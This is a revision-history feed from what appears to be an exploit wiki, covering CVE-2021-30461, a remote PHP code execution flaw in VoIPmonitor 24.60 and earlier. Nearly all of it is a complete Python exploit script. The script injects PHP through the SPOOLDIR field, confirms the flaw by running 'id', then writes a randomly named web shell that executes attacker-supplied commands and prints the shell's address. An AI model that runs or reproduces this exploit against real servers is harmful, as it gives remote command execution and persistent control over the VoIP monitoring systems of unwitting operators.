<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-30461_VoIPmonitor_%E9%81%A0%E7%A8%8BPHP%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-30461 VoIPmonitor 遠程PHP代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-30461_VoIPmonitor_%E9%81%A0%E7%A8%8BPHP%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-30461_VoIPmonitor_%E9%81%A0%E7%A8%8BPHP%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T08:17:52Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-30461_VoIPmonitor_%E9%81%A0%E7%A8%8BPHP%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2683&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==影響版本== VoIPmonitor 24.60及更低版本   ==EXP== &lt;pre&gt; import argparse from sys import argv,exit import time import random import string  try:     import requests e...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-30461_VoIPmonitor_%E9%81%A0%E7%A8%8BPHP%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2683&amp;oldid=prev"/>
		<updated>2021-05-06T11:48:34Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==影響版本== VoIPmonitor 24.60及更低版本   ==EXP== &amp;lt;pre&amp;gt; import argparse from sys import argv,exit import time import random import string  try:     import requests e...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==影響版本==&lt;br /&gt;
VoIPmonitor 24.60及更低版本&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import argparse&lt;br /&gt;
from sys import argv,exit&lt;br /&gt;
import time&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    import requests&lt;br /&gt;
except ImportError:&lt;br /&gt;
    print(&amp;quot;pip3 install requests &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
###############################################&lt;br /&gt;
#              VOIP Monitor RCE               #&lt;br /&gt;
###############################################&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
headers = {&amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0&amp;quot;, &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;en-US,en;q=0.5&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;application/x-www-form-urlencoded; charset=UTF-8&amp;quot;, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def get_target(args):&lt;br /&gt;
    hostname = args.host&lt;br /&gt;
    path = args.path&lt;br /&gt;
    if path:&lt;br /&gt;
        return f&amp;quot;http://{hostname}/{path}/index.php&amp;quot;&lt;br /&gt;
    else:&lt;br /&gt;
        return f&amp;quot;http://{hostname}/index.php&amp;quot;&lt;br /&gt;
&lt;br /&gt;
def set_tmp(args):&lt;br /&gt;
    global headers&lt;br /&gt;
    target = get_target(args)&lt;br /&gt;
    n_data = {&amp;quot;SPOOLDIR&amp;quot;: &amp;quot;/tmp&amp;quot;, &amp;quot;recheck&amp;quot;: &amp;quot;annen&amp;quot;}&lt;br /&gt;
    set_totmp = requests.post(target, n_data, headers=headers)&lt;br /&gt;
    print(f&amp;quot;[*] set /tmp {set_totmp}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def checkVulnerability(args):&lt;br /&gt;
    global headers&lt;br /&gt;
    target = get_target(args)&lt;br /&gt;
    print(f&amp;quot;[+] Attacking {target}&amp;quot;)&lt;br /&gt;
    testcmd = {&amp;quot;SPOOLDIR&amp;quot;: &amp;quot;test\&amp;quot;.system(id).\&amp;quot;&amp;quot;, &amp;quot;recheck&amp;quot;: &amp;quot;annen&amp;quot;}&lt;br /&gt;
    response_text = b&amp;quot;uid=&amp;quot;&lt;br /&gt;
    testcmd_req = requests.post(target, testcmd, verify=False, headers=headers)&lt;br /&gt;
    if response_text in testcmd_req.content:&lt;br /&gt;
        print(&amp;quot;[*] host is vulnerable&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(&amp;quot;[-] host is not vulnerable&amp;quot;)&lt;br /&gt;
        exit()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def uploadshell(args):&lt;br /&gt;
    global headers&lt;br /&gt;
    hostname = args.host&lt;br /&gt;
    path = args.path&lt;br /&gt;
    shell_path = &amp;quot;&amp;quot;&lt;br /&gt;
    shellfilename = str ( ''.join(random.choice(string.ascii_lowercase) for i in range(10)) )&lt;br /&gt;
    target = get_target(args)&lt;br /&gt;
    rce_payload = {&amp;quot;SPOOLDIR&amp;quot;: f&amp;quot;/tmp\&amp;quot;.file_put_contents('{shellfilename}.php','&amp;lt;?php echo system($_GET[\&amp;quot;a\&amp;quot;]);').\&amp;quot;&amp;quot;, &amp;quot;recheck&amp;quot;: &amp;quot;annen&amp;quot;}&lt;br /&gt;
    rce_req = requests.post(target, headers=headers, data=rce_payload)&lt;br /&gt;
    print(f&amp;quot;[*] uploading shell {rce_req.status_code}&amp;quot;)&lt;br /&gt;
    if path:&lt;br /&gt;
        shell_path = f&amp;quot;http://{hostname}/{path}/{shellfilename}.php&amp;quot;&lt;br /&gt;
    else:&lt;br /&gt;
        shell_path = f&amp;quot;http://{hostname}/{shellfilename}.php&amp;quot;&lt;br /&gt;
    shell_check = requests.get(shell_path, headers=headers, params={'a':'id'})&lt;br /&gt;
    print(f&amp;quot;[*] RCE Check : {shell_check.text}&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;[*] Your Shell at {shell_path}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    parser = argparse.ArgumentParser(description='VoIP Monitor all versions command execution')&lt;br /&gt;
    parser.add_argument('-t','--host',help='Host', type=str)&lt;br /&gt;
    parser.add_argument('-b', '--path',help='Path of the VoIP Monitor', type=str)&lt;br /&gt;
    args = parser.parse_args()&lt;br /&gt;
    set_tmp(args)&lt;br /&gt;
    checkVulnerability(args)&lt;br /&gt;
    set_tmp(args)&lt;br /&gt;
    uploadshell(args)&lt;br /&gt;
    set_tmp(args)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>